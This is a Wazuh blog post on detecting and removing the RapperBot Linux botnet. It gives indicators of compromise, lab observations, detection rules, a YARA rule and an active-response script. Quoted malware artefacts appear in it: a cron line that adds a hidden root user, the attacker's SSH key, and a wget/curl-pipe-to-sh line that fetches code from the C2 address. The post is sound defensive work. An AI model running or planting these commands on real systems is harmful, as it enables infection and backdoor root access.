RapperBot botnet detection and mitigation with Wazuh

| by Henadence Anyam | Wazuh 4.3
Post icon

A botnet is a network of compromised internet-connected devices such as personal computers, servers, and Internet of Things (IoT) devices used to orchestrate cyberattacks. 

Recently, in June 2022, an IoT family of malware dubbed “RapperBot” that affects Linux platforms was discovered. This malware has the potential to brute force credentials to gain access to password-protected public SSH servers. Attackers use this botnet to gain access and control of infected Linux endpoints. It uses a credential list from a command and control (C2) server to perform the SSH brute force attack. After a successful attack, valid credentials from the compromised endpoints are reported to the C2 server.

RapperBot botnet capabilities

RapperBot is capable of performing the following activities on a compromised endpoint:

  • Gain access to other Linux endpoints through SSH brute force using predefined credentials from a C2 server and reporting the valid credentials obtained. 
  • Maintain remote access by replacing the /.ssh/authorized_keys file of the compromised endpoints with the one containing the attacker’s SSH public key. 
  • It also adds a superuser called suhelper to the compromised endpoints by modifying their /etc/passwd and /etc/shadow files.
  • The malware also writes a script to the /etc/cron.hourly/0 cron job file to create the same superuser, suhelper, every hour to ensure its persistence on the compromised endpoint.

Indicators of Compromise

This blog post examined two samples of the RapperBot malware. The following IoCs were identified in the analyzed samples:

TypeValue
Hashes (SHA256)• ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04
• 88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6
C2 IP addresses• 185[.]225[.]73[.]196:443
• 2[.]58[.]149[.]116:9999
SSH public keyAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==
Usernamesuhelper

Environment setup

To demonstrate the RapperBot malware attack and the ability of Wazuh to detect it, the following Linux endpoints are used:

  • A Centos 7 server running Wazuh server 4.3.8. A Wazuh server can be installed using this Wazuh guide.
  • Ubuntu 22.04 running Wazuh agent 4.3.8. This endpoint is used as the initial compromised SSH server. This Wazuh guide is used to install the Wazuh agent.

Exploitation

It is assumed that initial access to the Ubuntu endpoint has already been established. The RapperBot malware samples are downloaded and executed with root privileges on the compromised Ubuntu endpoint using the following commands:

sudo ./ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04.elf
sudo ./88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6.elf

The following are observed on the Ubuntu endpoint when the malware samples are executed:

  • Connections to C2 servers on ports 9999 and 443 as revealed with the following command:
ss -nputw | egrep ':443|:9999'
tcp   SYN-SENT   0      1            10.0.3.15:47004  2.58.149.116:9999  users:(("ko3ku2t0tlkqkn3",pid=9283,fd=4)) 
tcp   ESTAB      0      436          10.0.3.15:41678  185.225.73.196:443   users:(("-sh",pid=9279,fd=1))
  • An outbound SSH brute force attack against several endpoints on the internet:
sudo netstat -nputw | grep ':22'
tcp        0      0 10.0.3.15:41968         x.x.x.x:22         ESTABLISHED 9284/ko3ku2t0tlkqkn 
tcp        0      0 10.0.3.15:47958         x.x.x.x:22         ESTABLISHED 9284/ko3ku2t0tlkqkn 
tcp        0      1 10.0.3.15:36446         x.x.x.x:22      FIN_WAIT1   -                   
tcp        0      1 10.0.3.15:55168         x.x.x.x:22         FIN_WAIT1   -                   
tcp        0      1 10.0.3.15:46448         x.x.x.x:22       FIN_WAIT1   -                   
tcp        0      0 10.0.3.15:54956         x.x.x.x:22        ESTABLISHED 9280/-sh            
tcp        0      0 10.0.3.15:45758         x.x.x.x:22       TIME_WAIT   -                   
tcp        0    281 10.0.3.15:60588         x.x.x.x:22        FIN_WAIT1   -                   
tcp        0     53 10.0.3.15:45928         x.x.x.x:22         FIN_WAIT1   -                    
tcp        0      0 10.0.3.15:38844         x.x.x.x:22       ESTABLISHED 9280/-sh            
tcp        0      0 10.0.3.15:32874         x.x.x.x:22      ESTABLISHED 9284/ko3ku2t0tlkqkn 
tcp        0      1 10.0.3.15:48556         x.x.x.x:22        FIN_WAIT1   -                   
tcp        0      0 10.0.3.15:49488         x.x.x.x:22         ESTABLISHED 9280/-sh
  • A new superuser suhelper is created. This can be confirmed in /etc/shadow and /etc/passwd:
sudo cat /etc/shadow | grep 'suhelper'
sudo cat /etc/passwd | grep 'suhelper'
suhelper:$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/:19185:0:99999:7:::
suhelper:x:0:0::/:
  • A newly created cron job file /etc/cron.hourly/0. The job contains a script to add the superuser suhelper every hour to maintain persistence.
cat /etc/cron.hourly/0 | grep 'suhelper'
useradd -u 0 -g 0 -o -d / suhelper -p '$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/' >/dev/null 2>&1
  • A newly created file /root/.ssh/authorized_keys with the attacker’s SSH public key:
cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== system key generated by server 20220709

Detection with Wazuh

The following capabilities of Wazuh are used to detect the presence and behavior of the RapperBot malware on the compromised endpoint. You can combine the method of detecting and removing malicious files with YARA integration with any other desired method of detection below:

  • Using command monitoring to detect Rapperbot behavior.
  • Using File Integrity Monitoring to detect file changes by Rapperbot.
  • Detecting and removing malicious files with YARA integration.

Using command monitoring to detect Rapperbot behavior

Wazuh can monitor events that are not logged on an endpoint by monitoring the output of specific commands. To monitor activities of the RapperBot malware that are not logged on the endpoint, commands are executed and monitored by Wazuh to detect its presence.

On the Ubuntu endpoint, execute the following command to enable the Wazuh agent to receive remote commands from the Wazuh server:

sudo echo "logcollector.remote_commands=1" >> /var/ossec/etc/local_internal_options.conf

Restart the Wazuh agent to apply the above configuration changes:

sudo systemctl restart wazuh-agent

On the Wazuh server, add the following settings in the <agent_config>...</agent_config> block of the /var/ossec/etc/shared/default/agent.conf file. The configuration is shared with all Wazuh agents in the default group. For this scenario, it is shared with our compromised Ubuntu endpoint.

<localfile>
    <log_format>full_command</log_format>
    <command>ss -nputw | grep -c ':22 ' | awk -F: '$0 > 4'</command>
    <alias>ss listening SSH outbounds</alias>
    <frequency>90</frequency>
</localfile>

<localfile>
    <log_format>full_command</log_format>
    <command>ss -nputw | egrep '2.58.149.116:9999|185.225.73.196:443'</command>
    <alias>ss listening C2 server port</alias>
    <frequency>90</frequency>
</localfile>

<localfile>
    <log_format>full_command</log_format>
    <command>cat /etc/passwd | grep 'suhelper'</command>
    <alias>check root user creation</alias>
    <frequency>90</frequency>
</localfile>

<localfile>
    <log_format>full_command</log_format>
    <command>cat /etc/cron.hourly/0 | grep 'suhelper'</command>
    <alias>check cron job for root user creation</alias>
    <frequency>90</frequency>
</localfile>

The below rules verify SSH brute force attacks on Linux endpoints, monitor for external communication to the C2 servers, and also check when the superuser suhelper is created. On the Wazuh server, add these rules to the /var/ossec/etc/rules/local_rules.xml file to alert us when the mentioned behaviors are observed:

<group name="local,syslog,sshd,">
    <!-- RapperBot brute forcing on SSH port -->
    <rule id="100011" level="12">
        <if_sid>530</if_sid>
        <match>ossec: output: 'ss listening SSH outbounds'</match>
        <description>Outbound SSH brute force attack to several Linux endpoints.</description>
    </rule>

    <!-- RapperBot communication with C2 server -->
    <rule id="100016" level="12">
        <if_sid>530</if_sid>
        <match>ossec: output: 'ss listening C2 server port'</match>
        <description>Possible RapperBot malware communication with C2 server detected.</description>
    </rule>

    <!-- RapperBot superuser creation -->
    <rule id="100020" level="12">
        <if_sid>530</if_sid>
        <match>ossec: output: 'check root user creation'</match>
        <description>[User Creation]: Possible RapperBot malware detected.</description>
        <mitre>
            <id>T1053.003</id>
        </mitre>
    </rule>

    <!-- RapperBot cron job for superuser creation -->
    <rule id="100022" level="12">
        <if_sid>530</if_sid>
        <match>ossec: output: 'check cron job for root user creation'</match>
        <description>[Cron Job Created to Add User]: Possible RapperBot malware detected.</description>
        <mitre>
            <id>T1053.003</id>
        </mitre>
    </rule>
</group>

Restart the Wazuh server to apply the above configuration changes:

sudo systemctl restart wazuh-manager

When the attack is in progress, the following events are generated as seen in the Security events tab of our Wazuh dashboard.

RapperBot botnet

Using File Integrity Monitoring to detect file changes by Rapperbot

Wazuh uses its File Integrity Monitoring (FIM) module to monitor file changes and trigger alerts when the monitored files are modified. In this blog post, we use the Wazuh FIM module to look out for changes in the /etc/shadow, /etc/passwd, ~/.ssh/authorized_keys, and /etc/cron.hourly/0 files since they will be modified by the RapperBot malware. 

Add the below configuration to the /var/ossec/etc/shared/default/agent.conf file on the Wazuh server. This will enable all endpoints in the default group to share the same configurations.

<agent_config os="linux">
    <syscheck>
        <directories check_all="yes" realtime="yes" report_changes="yes">/etc/</directories>
        <directories check_all="yes" realtime="yes" report_changes="yes">/home/*/.ssh/</directories>
        <directories check_all="yes" realtime="yes" report_changes="yes">/root/.ssh/</directories>
    </syscheck>
</agent_config>

Add the rules below to the /var/ossec/etc/rules/local_rules.xml file on the Wazuh server. This will trigger alerts when file changes in the monitored directories match the behavior of the RapperBot malware.

<group name="rapperbot,">
    <rule id="100025" level="12">
        <if_sid>550,554</if_sid>
        <field name="file" type="pcre2">(^\/etc\/shadow$)|(\/authorized_keys$)|(\/etc/\cron.hourly\/0)</field>
        <match type="pcre2">(suhelper:.*OJBlhUV.*\/)|(^.*\/SFBTD5VEo95K2ZLQ== system key generated by server 20220709$)|(suhelper)</match>
        <description>[User Creation $ Public SSH Key Insertion]: Possible RapperBot malware detected in system.</description>
        <mitre>
            <id>T1053.003</id>
        </mitre>
    </rule>
</group>

Restart the Wazuh server to apply the configuration changes:

sudo systemctl restart wazuh-manager

When the attack is in progress, we can see the events generated in the Security events tab of our Wazuh dashboard.

RapperBot

From the above figure, rule id 554 is triggered when the /etc/cron.hourly/0 file is added to the monitored /etc/ directory.

Rule id 550 is triggered when modifications are made to the /etc/passwd and /root/.ssh/authorized_keys files.

Rule id 100025 is our custom rule triggered when RapperBot malware behavior is detected.

Detecting and removing malicious files with YARA integration

Wazuh can leverage the YARA ruleset to scan files for malicious activities. The FIM and active response module of Wazuh are used to automatically execute YARA scans when a file change occurs on a monitored endpoint.

On the Wazuh server

Perform the following instructions on the Wazuh server:

1. Configure FIM in the /var/ossec/etc/shared/default/agent.conf file to monitor the /home/ directory of the Ubuntu endpoint in real time. This will enable all endpoints in the default group to share the same configurations, in this scenario, the monitored Ubuntu endpoint.

<agent_config os="linux">
    <syscheck>
        <directories whodata="yes">/home</directories>
    </syscheck>
</agent_config>

2. To extract information from YARA scan results, add the following decoders to the /var/ossec/etc/decoders/local_decoder.xml file:

<decoder name="yara_decoder">
    <prematch>wazuh-yara:</prematch>
</decoder>

<decoder name="yara_decoder1">
    <parent>yara_decoder</parent>
    <regex>wazuh-yara: (\S+) - Scan result: (\S+) (\S+)</regex>
    <order>log_type, yara_rule, yara_scanned_file</order>
</decoder>

<decoder name="yara_decoder1">
    <parent>yara_decoder</parent>
    <regex>wazuh-yara: (\S+) - Successfully removed threat: (\S+) (\S+)</regex>
    <order>log_type, yara_rule, yara_scanned_file</order>
</decoder>

3. To alert when files are added or modified in the above monitored /home/ directory, add the following rules to the /var/ossec/etc/rules/local_rules.xml file:

<group name="syscheck,">
    <rule id="100300" level="1">
        <if_sid>550</if_sid>
        <field name="file">/home/</field>
        <description>File modified in /home/* directory.</description>
    </rule>
    <rule id="100301" level="1">
        <if_sid>554</if_sid>
        <field name="file">/home/</field>
        <description>File added to /home/* directory.</description>
    </rule>
</group>

<group name="yara,">
    <rule id="108000" level="0">
        <decoded_as>yara_decoder</decoded_as>
        <description>Yara grouping rule</description>
    </rule>
    <rule id="108001" level="12">
        <if_sid>108000</if_sid>
        <match>wazuh-yara: INFO - Scan result: </match>
        <description>File "$(yara_scanned_file)" is a RapperBot malware. Yara rule: $(yara_rule)</description>
    </rule>
    <rule id="108002" level="12">
        <if_sid>108000</if_sid>
        <match>wazuh-yara: INFO - Successfully removed threat: </match>
        <description>Successfully removed RapperBot malware "$(yara_scanned_file)". YARA rule: $(yara_rule)</description>
    </rule>
</group>

Note

For this blog post, the /home/ directory is monitored. You can configure whichever directory you wish to monitor.

Rule id 108001 is our custom rule that will be triggered when the RapperBot malware samples are detected on the endpoint.

Rule id 108002 is our custom rule that will be triggered when the RapperBot malware samples are removed from the endpoint.

4. Add the following configuration to the /var/ossec/etc/ossec.conf file to automatically run YARA:

<ossec_config>
    <command>
        <name>yara</name>
        <executable>yara.sh</executable>
        <extra_args>-yara_path /usr/local/bin -yara_rules /tmp/yara/rules/yara_rules.yar</extra_args>
        <timeout_allowed>no</timeout_allowed>
    </command>
    <active-response>
        <command>yara</command>
        <location>local</location>
        <rules_id>100300,100301</rules_id>
    </active-response>
</ossec_config>

5. Restart the Wazuh server to apply the above configuration changes:

sudo systemctl restart wazuh-manager

On the Ubuntu endpoint

Perform the following instructions on the monitored Ubuntu endpoint:

1. Execute the following commands to compile and install YARA:

sudo apt-get update
sudo apt-get install -y make gcc autoconf libtool libssl-dev pkg-config
sudo curl -LO https://github.com/VirusTotal/yara/archive/v4.2.2.tar.gz
sudo tar -xvzf v4.2.2.tar.gz -C /usr/local/bin/ && rm -f v4.2.2.tar.gz
cd /usr/local/bin/yara-4.2.2
sudo ./bootstrap.sh && ./configure && make && sudo make install && make check

2. Download the YARA rules file using the below commands:

sudo mkdir -p /tmp/yara/rules
sudo curl 'https://valhalla.nextron-systems.com/api/v1/get' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
--compressed \
-H 'Referer: https://valhalla.nextron-systems.com/' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'DNT: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' \
--data 'demo=demo&apikey=1111111111111111111111111111111111111111111111111111111111111111&format=text' \
-o /tmp/yara/rules/yara_rules.yar

3. Add the below YARA rule to the downloaded /tmp/yara/rules/yara_rules.yar file to detect the RapperBot botnet:

rule RapperBot_Malware_Jul_2022 {
    meta:
        description = "Generic rule to detect RapperBot variant"
        author = "Henadence Anyam"
        reference = "Internal Research"
        date = "2022-08-15"
        hash1 = "88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6"
        hash2 =  "ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04"
    strings:
        $a1 = "cmd" fullword ascii
        $a2 = "sh" fullword ascii
        $a3 = "enable" fullword ascii
        $a4 = "shell" fullword ascii
        $a5 = "debug shell" fullword ascii
        $a6 = "SSH-2.0-HELLOWORLD" fullword ascii
        $a7 = "wget http://2.58.149.116/w -O- | sh; curl http://2.58.149.116/c -O- | sh" fullword ascii

        $b1 = "/etc/passwd" fullword ascii
        $b2 = "/dev/null" fullword ascii
        $b3 = {53 C6 84 24 12 02 00 00 53 C6 84 24 13 02 00 00 48 C6 84 24 14 02 00 00 2D C6 84 24 15 02 00 00 32 C6 84 24 16 02 00 00 2E C6 84 24 17 02 00 00 30 C6 84 24 18 02 00 00 2D C6 84 24 19 02 00 00 48 C6 84 24 1A 02 00 00 45 C6 84 24 1B 02 00 00 4C C6 84 24 1C 02 00 00 4C C6 84 24 1D 02 00 00 4F C6 84 24 1E 02 00 00 57 C6 84 24 1F 02 00 00 4F C6 84 24 20 02 00 00 52 C6 84 24 21 02 00 00 4C C6 84 24 22 02 00 00 44 C6 84 24 23}
    condition:
        all of ($a*) or all of ($b*)
}

4. To configure the Wazuh-YARA active response, create the file /var/ossec/active-response/bin/yara.sh and add the following script to it:

#!/bin/bash
# Wazuh - Yara active response
# Copyright (C) 2015-2022, Wazuh Inc.
#
# This program is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public
# License (version 2) as published by the FSF - Free Software
# Foundation.

#------------------------- Gather parameters -------------------------#

# Extra arguments
read INPUT_JSON
YARA_PATH=$(echo $INPUT_JSON | jq -r .parameters.extra_args[1])
YARA_RULES=$(echo $INPUT_JSON | jq -r .parameters.extra_args[3])
FILENAME=$(echo $INPUT_JSON | jq -r .parameters.alert.syscheck.path)

# Set LOG_FILE path
LOG_FILE="logs/active-responses.log"

size=0
actual_size=$(stat -c %s ${FILENAME})
while [ ${size} -ne ${actual_size} ]; do
	sleep 1
	size=${actual_size}
	actual_size=$(stat -c %s ${FILENAME})
done

#----------------------- Analyze parameters -----------------------#

if [[ ! $YARA_PATH ]] || [[ ! $YARA_RULES ]]
then
	echo "wazuh-yara: ERROR - Yara active response error. Yara path and rules parameters are mandatory." >> ${LOG_FILE}
	exit 1
fi

#------------------------- Main workflow --------------------------#

# Execute Yara scan on the specified filename
yara_output="$("${YARA_PATH}"/yara -w -r "$YARA_RULES" "$FILENAME")"

if [[ $yara_output != "" ]]
then
	# Iterate every detected rule and append it to the LOG_FILE
	while read -r line; do
         echo "wazuh-yara: INFO - Scan result: $line" >> ${LOG_FILE}
         sleep 1
         # Removing file
         rm -f $FILENAME
         echo "wazuh-yara: INFO - Successfully removed threat: $line" >> ${LOG_FILE}
	done <<< "$yara_output"
fi

exit 0;

5. Change the ownership and permissions of the /var/ossec/active-response/bin/yara.sh script to root:wazuh and 0750 respectively:

sudo chown root:wazuh /var/ossec/active-response/bin/yara.sh
sudo chmod 750 /var/ossec/active-response/bin/yara.sh

6. Install the Linux utility jq to allow the /var/ossec/active-response/bin/yara.sh script to process the JSON input:

sudo apt-get install -y jq

7. Restart the Wazuh agent to apply the above configuration changes:

sudo systemctl restart wazuh-agent

When the RapperBot malware is downloaded in the monitored /home/ directory, the events below are generated.

From the above figure, rule id 553 is triggered when a file is deleted from the monitored /home/ directory.

Conclusion

In this blog post, we have been able to use Wazuh to successfully detect and remove the RapperBot malware. Specifically, the command monitoring and FIM techniques were used to detect the behavior of the RapperBot malware in the endpoint. The YARA integration technique was used to detect and remove the RapperBot malware once it was downloaded to the endpoint.

Reference

  1. RapperBot malware discovery.